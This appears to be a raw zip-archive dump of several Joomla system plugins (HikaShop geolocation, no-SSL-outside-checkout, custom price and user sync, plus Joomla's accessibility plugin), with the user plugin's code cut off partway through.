<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop Geolocation Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikashop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to handle geolocation</description>
	<files>
		<filename plugin="hikashopgeolocation">hikashopgeolocation.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="geoloc_timeout" type="text" size="10" default="10" label="TIMEOUT" description="GEOLOCATION_TIMEOUT" />
		<param name="geoloc_service" type="radio" default="both" label="HIKA_GEOLOCATION_SERVICE" description="GEOLOCATION_SERVICE">
			<option value="geoplugin">GEOLOCATION_GEOPLUGIN</option>
			<option value="ipinfodb">GEOLOCATION_IPINFODB</option>
			<option value="both">GEOLOCATION_BOTH</option>
		</param>
		<param name="geoloc_api_key" type="textarea" cols="30" default="" label="API_KEY" description="GEOLOCATION_API_KEY" />
		<param name="order" type="radio" default="1" label="HIKA_ORDERS_GEOLOCATION" description="ORDERS_GEOLOCATION">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="user" type="radio" default="1" label="HIKA_CUSTOMERS_GEOLOCATION" description="CUSTOMERS_GEOLOCATION">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="set_default_currency" type="radio" default="0" label="SET_CURRENCY" description="GEOLOCATION_CURRENCY">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="blocked_zones" type="text" size="52" default="" label="ZONES_BLOCKED" description="GEOLOCATION_ZONES_BLOCKED" />
		<param name="authorized_zones" type="text" size="52" default="" label="ZONES_AUTHORIZED" description="GEOLOCATION_ZONES_AUTHORIZED" />
		<param name="components" type="text" size="52" default="all" label="COMPONENTS_CHECKED" description="GEOLOCATION_COMPONENTS_CHECKED" />
		<param name="after_init" type="radio" label="AFTER_INITIALISATION" default="1" description="AFFILIATE_AFTER_INITIALISATION" >
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="geoloc_timeout" type="text" label="TIMEOUT" size="10" default="10" description="GEOLOCATION_TIMEOUT" />
				<field name="geoloc_service" type="radio" default="both" label="HIKA_GEOLOCATION_SERVICE" description="GEOLOCATION_SERVICE">
					<option value="geoplugin">GEOLOCATION_GEOPLUGIN</option>
					<option value="ipinfodb">GEOLOCATION_IPINFODB</option>
					<option value="both">GEOLOCATION_BOTH</option>
				</field>
				<field name="geoloc_api_key" type="textarea" cols="30" default="" label="API_KEY" description="GEOLOCATION_API_KEY" />
				<field name="order" type="radio" label="HIKA_ORDERS_GEOLOCATION" default="1" description="ORDERS_GEOLOCATION">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="user" type="radio" label="HIKA_CUSTOMERS_GEOLOCATION" default="1" description="CUSTOMERS_GEOLOCATION">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="set_default_currency" type="radio" default="0" label="SET_CURRENCY" description="GEOLOCATION_CURRENCY" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="blocked_zones" type="text" size="52" default="" label="ZONES_BLOCKED" description="GEOLOCATION_ZONES_BLOCKED" />
				<field name="authorized_zones" type="text" size="52" default="" label="ZONES_AUTHORIZED" description="GEOLOCATION_ZONES_AUTHORIZED" />
				<field name="components" type="text" size="52" default="all" label="COMPONENTS_CHECKED" description="GEOLOCATION_COMPONENTS_CHECKED" />
				<field name="after_init" type="radio" label="AFTER_INITIALISATION" default="1" description="AFFILIATE_AFTER_INITIALISATION" >
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�#o,,hikashopgeolocation/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!ļ=00accessibility/accessibility.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_accessibility</name>
	<author>Joomla! Project</author>
	<creationDate>2020-02-15</creationDate>
	<copyright>(C) 2020 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>4.0.0</version>
	<description>PLG_SYSTEM_ACCESSIBILITY_XML_DESCRIPTION</description>
	<files>
		<filename plugin="accessibility">accessibility.php</filename>
	</files>
	<languages folder="admin">
		<language tag="en-GB">language/en-GB/plg_system_accessibility.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_accessibility.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="section"
					type="list"
					label="PLG_SYSTEM_ACCESSIBILITY_SECTION"
					default="administrator"
					validate="options"
					>
					<option value="site">PLG_SYSTEM_ACCESSIBILITY_SECTION_SITE</option>
					<option value="administrator">PLG_SYSTEM_ACCESSIBILITY_SECTION_ADMIN</option>
					<option value="both">PLG_SYSTEM_ACCESSIBILITY_SECTION_BOTH</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��x@��accessibility/accessibility.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.accessibility
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * System plugin to add additional accessibility features to the administrator interface.
 *
 * @since  4.0.0
 */
class PlgSystemAccessibility extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  4.0.0
	 */
	protected $app;

	/**
	 * Add the javascript for the accessibility menu
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onBeforeCompileHead()
	{
		$section = $this->params->get('section', 'administrator');

		if ($section !== 'both' && $this->app->isClient($section) !== true)
		{
			return;
		}

		// Get the document object.
		$document = $this->app->getDocument();

		if ($document->getType() !== 'html')
		{
			return;
		}

		// Are we in a modal?
		if ($this->app->input->get('tmpl', '', 'cmd') === 'component')
		{
			return;
		}

		// Load language file.
		$this->loadLanguage();

		// Determine if it is an LTR or RTL language
		$direction = Factory::getLanguage()->isRtl() ? 'right' : 'left';

		// Detect the current active language
		$lang = Factory::getLanguage()->getTag();

		/**
		* Add strings for translations in Javascript.
		* Reference  https://ranbuch.github.io/accessibility/
		*/
		$document->addScriptOptions(
			'accessibility-options',
			[
				'labels' => [
					'menuTitle'           => Text::_('PLG_SYSTEM_ACCESSIBILITY_MENU_TITLE'),
					'increaseText'        => Text::_('PLG_SYSTEM_ACCESSIBILITY_INCREASE_TEXT'),
					'decreaseText'        => Text::_('PLG_SYSTEM_ACCESSIBILITY_DECREASE_TEXT'),
					'increaseTextSpacing' => Text::_('PLG_SYSTEM_ACCESSIBILITY_INCREASE_SPACING'),
					'decreaseTextSpacing' => Text::_('PLG_SYSTEM_ACCESSIBILITY_DECREASE_SPACING'),
					'invertColors'        => Text::_('PLG_SYSTEM_ACCESSIBILITY_INVERT_COLORS'),
					'grayHues'            => Text::_('PLG_SYSTEM_ACCESSIBILITY_GREY'),
					'underlineLinks'      => Text::_('PLG_SYSTEM_ACCESSIBILITY_UNDERLINE'),
					'bigCursor'           => Text::_('PLG_SYSTEM_ACCESSIBILITY_CURSOR'),
					'readingGuide'        => Text::_('PLG_SYSTEM_ACCESSIBILITY_READING'),
					'textToSpeech'        => Text::_('PLG_SYSTEM_ACCESSIBILITY_TTS'),
					'speechToText'        => Text::_('PLG_SYSTEM_ACCESSIBILITY_STT'),
					'resetTitle'          => Text::_('PLG_SYSTEM_ACCESSIBILITY_RESET'),
					'closeTitle'          => Text::_('PLG_SYSTEM_ACCESSIBILITY_CLOSE'),
				],
				'icon' => [
					'position' => [
						$direction => [
							'size' => '0',
							'units' => 'px',
						],
					],
				],
				'hotkeys' => [
					'enabled' => true,
					'helpTitles' => true,
				],
				'textToSpeechLang' => [$lang],
				'speechToTextLang' => [$lang],
			]
		);

		$document->getWebAssetManager()
			->useScript('accessibility')
			->addInlineScript(
				'window.addEventListener("load", function() {'
				. 'new Accessibility(Joomla.getOptions("accessibility-options") || {});'
				. '});',
				['name' => 'inline.plg.system.accessibility'],
				['type' => 'module'],
				['accessibility']
			);
	}
}
PK!�#o,,nossloutsidecheckout/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!b�&&-nossloutsidecheckout/nossloutsidecheckout.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class plgSystemNossloutsidecheckout extends JPlugin
{
	function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'nossloutsidecheckout');
			$this->params = new JRegistry(@$plugin->params);
		}
	}


	function onAfterRoute(){
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		if (@$_REQUEST['tmpl']=='component') return true;

		if(empty($_REQUEST['ctrl'])) $_REQUEST['ctrl'] = @$_REQUEST['view'];
		if(empty($_REQUEST['task'])) $_REQUEST['task'] = @$_REQUEST['layout'];
		if(@$_REQUEST['option']=='com_hikashop' && (@$_REQUEST['ctrl']=='checkout' || @$_REQUEST['ctrl']=='order' && @$_REQUEST['task']=='pay')){
			return true;
		}
		if(@$_REQUEST['option']=='com_ccidealplatform' && @$_REQUEST['task']=='bankform'){
			return true;
		}
		if(!empty($_POST)){
			return true;
		}

		if (!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')) return true;

		if (hikashop_isSSL()){
			$app->setUserState('com_hikashop.ssl_redirect',0);
			$status = $this->params->get('status','');
			$status = ($status=='301'?true:false);
			$app->redirect(str_replace('https://','http://',hikashop_currentURL()));
		}

		return true;
	}
}
PK!���bee-nossloutsidecheckout/nossloutsidecheckout.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="1.5" method="upgrade" group="system">
	<name>Hikashop no SSL outside checkout Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikashop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin redirects to HTTP when a page is accessed with SSL and that it's not the checkout of HikaShop</description>
	<files>
		<filename plugin="nossloutsidecheckout">nossloutsidecheckout.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param type="radio" default="303" description="Redirection status" label="Redirection status" name="status">
			<option value="301">301</option>
			<option value="303">303</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field type="radio" default="303" description="Redirection status" label="Redirection status" name="status">
					<option value="301">301</option>
					<option value="303">303</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�#o,,custom_price/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!��.��custom_price/custom_price.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
	<name>HikaShopCustom Price plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>HikaShop Donation plugin</description>
	<files>
		<filename plugin="custom_price">custom_price.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="taxes" type="radio" default="0" label="HIKA_TAXES_HANDLING" description="TAXES_HANDLING">
			<option value="0">NO_TAXES</option>
			<option value="1">TAXES_HANDLING_ON_TOP</option>
			<option value="2">TAXES_HANDLING_ALREADY_INCLUDED</option>
		</param>
		<param name="field" type="text" size="20" default="amount" label="COLUMN_NAME_OF_THE_FIELD" description="CUSTOM_PRICE_COLUMN_NAME" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="taxes" type="radio" default="0" label="HIKA_TAXES_HANDLING" description="TAXES_HANDLING">
					<option value="0">NO_TAXES</option>
					<option value="1">TAXES_HANDLING_ON_TOP</option>
					<option value="2">TAXES_HANDLING_ALREADY_INCLUDED</option>
				</field>
				<field name="field" type="text" size="20" default="amount" label="COLUMN_NAME_OF_THE_FIELD" description="CUSTOM_PRICE_COLUMN_NAME" />
			</fieldset>
		</fields>
	</config>
</extension>
PK!X���	�	custom_price/custom_price.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
jimport('joomla.plugin.plugin');

class plgSystemCustom_price extends JPlugin {
	protected $currencyClass = null;
	public $params = null;

	public function onBeforeCalculateProductPriceForQuantity(&$product) {
		if(empty($this->currencyClass))
			$this->currencyClass = hikashop_get('class.currency');

		$quantity = @$product->cart_product_quantity;

		if(empty($this->params)) {
			$plugin = JPluginHelper::getPlugin('system', 'custom_price');
			if(version_compare(JVERSION,'2.5','<')){
				jimport('joomla.html.parameter');
				$this->params = new JParameter($plugin->params);
			} else {
				$this->params = new JRegistry($plugin->params);
			}
		}

		$taxes = $this->params->get('taxes',0);
		$column = $this->params->get('field','amount');
		if(empty($product->$column))
			return;

		if(empty($product->prices)) {
			$price= new stdClass();
			$price->price_currency_id = hikashop_getCurrency();
			$price->price_min_quantity = 1;
			$product->prices = array($price);
		}
		if($taxes && $product->product_type == 'variant' && empty($product->product_tax_id)) {
			$productClass = hikashop_get('class.product');
			$main = $productClass->get($product->product_parent_id);
			$product->product_tax_id = $main->product_tax_id;
		}
		foreach($product->prices as $k => $price) {
			switch($taxes) {
				case 2:
					$product->prices[$k]->price_value = $this->currencyClass->getUntaxedPrice(hikashop_toFloat($product->$column),hikashop_getZone(),$product->product_tax_id);
					$product->prices[$k]->taxes = $this->currencyClass->taxRates;
					$product->prices[$k]->price_value_with_tax = hikashop_toFloat($product->$column);
					break;
				case 1:
					$product->prices[$k]->price_value = hikashop_toFloat($product->$column);
					$product->prices[$k]->price_value_with_tax = $this->currencyClass->getTaxedPrice(hikashop_toFloat($product->$column),hikashop_getZone(),$product->product_tax_id);
					$product->prices[$k]->taxes = $this->currencyClass->taxRates;
					break;
				case 0:
				default:
					$product->prices[$k]->price_value = hikashop_toFloat($product->$column);
					$product->prices[$k]->price_value_with_tax = hikashop_toFloat($product->$column);
					break;
			}
		}
	}
}
PK!�#o,,hikashopuser/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!+��#&]&]hikashopuser/hikashopuser.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
jimport('joomla.plugin.plugin');
class plgSystemHikashopuser extends JPlugin {

	public function __construct(&$subject, $config) {
		parent::__construct($subject, $config);

		if (version_compare(JVERSION,'4.0','>=') && !(Joomla\CMS\Factory::getApplication() instanceof Joomla\CMS\Application\WebApplication)) return;

		if(!isset($this->params)) {
			$plugin = JPluginHelper::getPlugin('system', 'hikashopuser');
			$this->params = new JRegistry($plugin->params);
		}

		$app = JFactory::getApplication();
		$this->currency = $app->getUserState('com_hikashop.currency_id');
		$this->entries = $app->getUserState('com_hikashop.entries_fields');

		$jsession = JFactory::getSession();
		$this->session = $jsession->getId();

		$this->cart = $app->getUserState('com_hikashop.cart_id');
		$this->wishlist = $app->getUserState('com_hikashop.wishlist_id');
		$this->checkout_fields = $app->getUserState( 'com_hikashop.checkout_fields');
		$this->checkout_fields_ok = $app->getUserState( 'com_hikashop.checkout_fields_ok', 0);

	}

	public function onAfterProductCreate(&$product) {
		$app = JFactory::getApplication();
		JPluginHelper::importPlugin('finder');

		$isNew = true;
		$context = 'com_hikashop.product';
		$app->triggerEvent('onFinderAfterSave', array($context, $product, $isNew));
	}
	public function onBeforeProductCreate(&$product, &$do) {
		$app = JFactory::getApplication();
		JPluginHelper::importPlugin('finder');

		$isNew = true;
		$context = 'com_hikashop.product';
		$app->triggerEvent('onFinderBeforeSave', array($context, $product, $isNew));
	}
	public function onAfterProductUpdate(&$product) {
		$app = JFactory::getApplication();
		JPluginHelper::importPlugin('finder');

		$isNew = false;
		$context = 'com_hikashop.product';
		$app->triggerEvent('onFinderAfterSave', array($context, $product, $isNew));
	}
	public function onBeforeProductUpdate(&$product) {
		$app = JFactory::getApplication();
		JPluginHelper::importPlugin('finder');

		$isNew = false;
		$context = 'com_hikashop.product';
		$app->triggerEvent('onFinderBeforeSave', array($context, $product, $isNew));
	}
	public function onAfterProductDelete($elements) {
		$app = JFactory::getApplication();
		JPluginHelper::importPlugin('finder');
		$context = 'com_hikashop.product';

		foreach($elements as $element) {
			$app->triggerEvent('onFinderAfterDelete', array($context, $element));
		}
	}


	public function onContentPrepareForm($form, $data) {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('site'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && !$app->isAdmin())
			return true;

		if(@$_GET['option'] == 'com_plugins' && @$_GET['view'] == 'plugin' && (@$_GET['layout'] == 'edit' || @$_GET['task'] == 'edit')) {
			$lang = JFactory::getLanguage();
			$lang->load('com_hikashop', JPATH_SITE, null, true);
		}
	}

	public function onBeforeCompileHead(){

		if(version_compare(JVERSION,'3.7','<'))
			return;

		$doc = JFactory::getDocument();
		$head = $doc->getHeadData();

		if(empty($head['scripts']))
			return;

		$js_files = array('jquery.js', 'jquery.min.js', 'jquery-noconflict.js', 'jquery.ui.core.js', 'jquery.ui.core.min.js');
		$newScripts = array();
		foreach($head['scripts'] as $file => $data) {
			foreach($js_files as $js_file) {
				if(strpos($file,'media/jui/js/'.$js_file)=== false)
					continue;
				$newScripts[$file] = $data;
			}
		}
		foreach($head['scripts'] as $file => $data){
			if(!isset($newScripts[$file]))
				$newScripts[$file] = $data;
		}
		$head['scripts'] = $newScripts;

		$doc->setHeadData($head);
	}

	public function onContentPrepare($context, &$article, &$params, $limitstart = 0) {
		if($context == 'com_content.article')
			$this->onPrepareContent($article, $params, $limitstart);
	}

	public function onPrepareContent(&$article, &$params, $limitstart) {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>='))
			$tmpl = $app->input->getCmd('tmpl', '');
		else
			$tmpl = JRequest::getCmd('tmpl', '');
		if($tmpl != 'component')
			return true;

		$db = JFactory::getDBO();
		$query = 'SELECT config_value FROM #__hikashop_config WHERE config_namekey = ' . $db->Quote('checkout_terms');
		$db->setQuery($query);
		$terms_article = (int)$db->loadResult();
		if($article->id != $terms_article)
			return true;

		$params->set('show_page_heading',false);
	}

	public function onAfterCartSave(&$cart) {
		if(!HIKASHOP_J30) return;

		$plugin = JPluginHelper::getPlugin('system', 'cache');
		$params = new JRegistry(@$plugin->params);

		$options = array(
			'defaultgroup'	=> 'page',
			'browsercache'	=> $params->get('browsercache', false),
			'caching'		=> false,
		);

		$cache = JCache::getInstance('page', $options);
		$cache->clean();
	}

	public function onUserBeforeSave($user, $isnew, $new) {
		return $this->onBeforeStoreUser($user, $isnew);
	}
	public function onUserAfterSave($user, $isnew, $success, $msg) {
		return $this->onAfterStoreUser($user, $isnew, $success, $msg);
	}
	public function onUserAfterDelete($user, $success, $msg) {
		return $this->onAfterDeleteUser($user, $success, $msg);
	}
	public function onUserLogin($user, $options) {
		return $this->onLoginUser($user, $options);
	}

	public function onBeforeStoreUser($user, $isnew) {
		$this->oldUser = $user;
		return true;
	}

	public function onAfterUserProfileSaved(&$user, $env) {
		if(empty($user->id) || empty($user->email))
			return;
		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;
		$userClass = hikashop_get('class.user');
		$hikaUser = new stdClass();
		$hikaUser->user_email = $user->email;
		$hikaUser->user_cms_id = $user->id;
		$userClass->save($hikaUser, true);
	}

	public function onAfterStoreUser($user, $isnew, $success, $msg) {
		if($success === false || !is_array($user))
			return false;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$userClass = hikashop_get('class.user');
		$hikaUser = new stdClass();
		$hikaUser->user_email = trim(strip_tags($user['email']));
		$hikaUser->user_cms_id = (int)$user['id'];
		if(!empty($hikaUser->user_cms_id)) {
			$hikaUser->user_id = $userClass->getID($hikaUser->user_cms_id, 'cms');
		}
		if(empty($hikaUser->user_id) && !empty($hikaUser->user_email)) {
			$hikaUser->user_id = $userClass->getID($hikaUser->user_email, 'email');
		}

		$formData = hikaInput::get()->get('data', array(), 'array');

		$in_checkout = !empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_hikashop' && !empty($_REQUEST['ctrl']) && $_REQUEST['option'] == 'checkout';

		if(!empty($formData) && !empty($formData['user']) && !$in_checkout) {
			$display = $this->params->get('fields_on_user_profile');
			if(is_null($display))
				$display = 1;
			if(empty($display) || $display=='0')
				return;
			$oldUser = null;
			$fieldsClass = hikashop_get('class.field');
			$element = $fieldsClass->getFilteredInput('user', $oldUser);
			if(!empty($element)) {
				foreach($element as $key => $value) {
					$hikaUser->$key = $value;
				}
			}
		}

		$userClass->save($hikaUser, true);

		$session = JFactory::getSession();
		$session_id = $session->getId();
		if($isnew && strlen(trim($session_id)) > 0 && (int)$user['id'] > 0)
		{
			$db = JFactory::getDBO();

			$query = 'SELECT `user_id`';
			$query .= ' FROM  `#__hikashop_user` ';
			$query .= ' WHERE '.$db->quoteName('user_cms_id').' = '.(int)$user['id'].';';
			$db->setQuery($query);
			$user_hikashop_id = (int)$db->loadResult();

			if(!empty($user_hikashop_id)) {

				$query = 'UPDATE '.$db->quoteName('#__hikashop_cart');
				$query .= ' SET '.$db->quoteName('user_id').' = ' . (int)$user_hikashop_id . '';
				$query .= ' WHERE '.$db->quoteName('user_id').' = 0 ';
				$query .= ' AND '.$db->quoteName('session_id').' = '.$db->quote($session_id).';';
				$db->setQuery($query);
				$db->execute();
			}
		}
		return true;
	}

	public function onAfterDeleteUser($user, $success, $msg) {
		if($success === false || !is_array($user))
			return false;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$userClass = hikashop_get('class.user');
		$user_id = $userClass->getID($user['email'],'email');
		if(!empty($user_id)) {
			$userClass->delete($user_id,true);
		}
		return true;
	}

	public function restoreSession(&$user_id, $options) {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		$currency = $app->getUserState('com_hikashop.currency_id');
		if(empty($currency) && !empty($this->currency))
			$app->setUserState('com_hikashop.currency_id', $this->currency);

		$entries = $app->getUserState('com_hikashop.entries_fields');
		if(empty($entries) && !empty($this->entries))
			$app->setUserState('com_hikashop.entries_fields', $this->entries);

		$checkout_fields_ok = $app->getUserState('com_hikashop.checkout_fields_ok');
		if(empty($checkout_fields_ok) && !empty($this->checkout_fields_ok))
			$app->setUserState('com_hikashop.checkout_fields_ok', $this->checkout_fields_ok);

		$checkout_fields = $app->getUserState('com_hikashop.checkout_fields');
		if(empty($checkout_fields) && !empty($this->checkout_fields))
			$app->setUserState('com_hikashop.checkout_fields', $this->checkout_fields);
		if(!empty($this->checkout_fields)) {
			foreach($this->checkout_fields as $k => $v) {
				if(isset($_REQUEST['data']['order'][$k]))
					continue;
				$_POST['data']['order'][$k] = $_REQUEST['data']['order'][$k] = $v;
			}
		}
	}

	public function onLoginUser($user, $options) {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			return true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			return true;

		$user_id = 0;
		if(empty($user['id'])) {
			if(!empty($user['username'])) {
				jimport('joomla.user.helper');
				$instance = new JUser();
				if($id = intval(JUserHelper::getUserId($user['username'])))  {
					$instance->load($id);
				}
				if($instance->get('block') == 0) {
					$user_id = $instance->id;
				}
			}
		} else {
			$user_id = $user['id'];
		}

		$this->restoreSession($user_id, $options);

		if(empty($user_id))
			return true;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$userClass = hikashop_get('class.user');
		$hika_user_id = $userClass->getID($user_id,'cms');
		if(empty($hika_user_id))
			return true;

		$app->setUserState(HIKASHOP_COMPONENT.'.user_id', $hika_user_id );

		if($options !== null) {
			$this->moveCarts($hika_user_id);
		} else {
			$db = JFactory::getDBO();
			$query = 'UPDATE #__hikashop_cart SET session_id = \'\' WHERE user_id = '.(int)$hika_user_id.' AND cart_type = \'cart\';';
			$db->setQuery($query);
			$db->execute();
		}

		$addressClass = hikashop_get('class.address');
		$addresses = $addressClass->getByUser($hika_user_id);
		if(empty($addresses) || !count($addresses))
			return true;

		$address = reset($addresses);
		$field = 'address_country';
		if(!empty($address->address_state)) {
			$field = 'address_state';
		}
		$app->setUserState(HIKASHOP_COMPONENT.'.shipping_address', $address->address_id );
		$app->setUserState(HIKASHOP_COMPONENT.'.billing_address', $address->address_id );

		$zoneClass = hikashop_get('class.zone');
		$zone = $zoneClass->get($address->$field);
		if(!empty($zone)){
			$zone_id = $zone->zone_id;
			$app->setUserState(HIKASHOP_COMPONENT.'.zone_id', $zone->zone_id );
		}
	}

	protected function moveCarts($hika_user_id) {
		if(empty($hika_user_id))
			return true;

		$db = JFactory::getDBO();

		$query = 'SELECT COUNT(*) AS `carts` FROM #__hikashop_cart WHERE session_id = '.$db->Quote($this->session).' AND cart_type = \'cart\';';
		$db->setQuery($query);
		$carts = (int)$db->loadResult();
		if($carts == 0)
			return;

		$query = 'UPDATE #__hikashop_cart SET cart_current = 0 WHERE user_id = '.(int)$hika_user_id.' AND cart_type = \'cart\';';
		$db->setQuery($query);
		$db->execute();

		$config = hikashop_config();
		if(!$config->get('enable_multicart', 1)) {
			$query = 'SELECT cart_id FROM #__hikashop_cart WHERE user_id = '.(int)$hika_user_id.'  AND session_id != '.$db->Quote($this->session).' AND cart_type = \'cart\';';
			$db->setQuery($query);
			$cart_ids = $db->loadColumn();
			if(count($cart_ids)) {
				$cartClass = hikashop_get('class.cart');
				$cartClass->delete($cart_ids, $hika_user_id);
			}
		}

		$query = 'UPDATE #__hikashop_cart SET user_id = '.(int)$hika_user_id.
			' WHERE session_id = '.$db->Quote($this->session).' AND cart_type = \'cart\';';
		$db->setQuery($query);
		$db->execute();

		if(!class_exists('hikashopCartClass'))
			return;
		$cartClass = hikashop_get('class.cart');
		$cartClass->get('reset_cache');

		if(!class_exists('hikashopCheckoutHelper'))
			return;
		$checkoutHelper = hikashopCheckoutHelper::get();
		$checkoutHelper->getCart(true);
	}

	public function onUserLogout($user) {
		return $this->onLogoutUser($user);
	}

	public function onLogoutUser($user) {
		$options = null;
		return $this->onLoginUser($user, $options);
	}

	public function onAfterRoute() {
		$app = JFactory::getApplication();



		if(version_compare(JVERSION,'3.0','>=')) {
			$option = $app->input->getCmd('option', '');
			$view = $app->input->getCmd('view', '');
			$task = $app->input->getCmd('task', '');
			$layout = $app->input->getCmd('layout', '');
		} else {
			$option = JRequest::getCmd('option', '');
			$view = JRequest::getCmd('view', '');
			$task = JRequest::getCmd('task', '');
			$layout = JRequest::getCmd('layout', '');
		}

		if($option == 'com_ajax') {
			if(version_compare(JVERSION,'3.0','>='))
				$group = $app->input->getCmd('group', '');
			else
				$group = JRequest::getCmd('group', '');
			if(in_array($group, array('hikashop', 'hikashopshipping', 'hikashoppayment'))) {
				if(!defined('DS'))
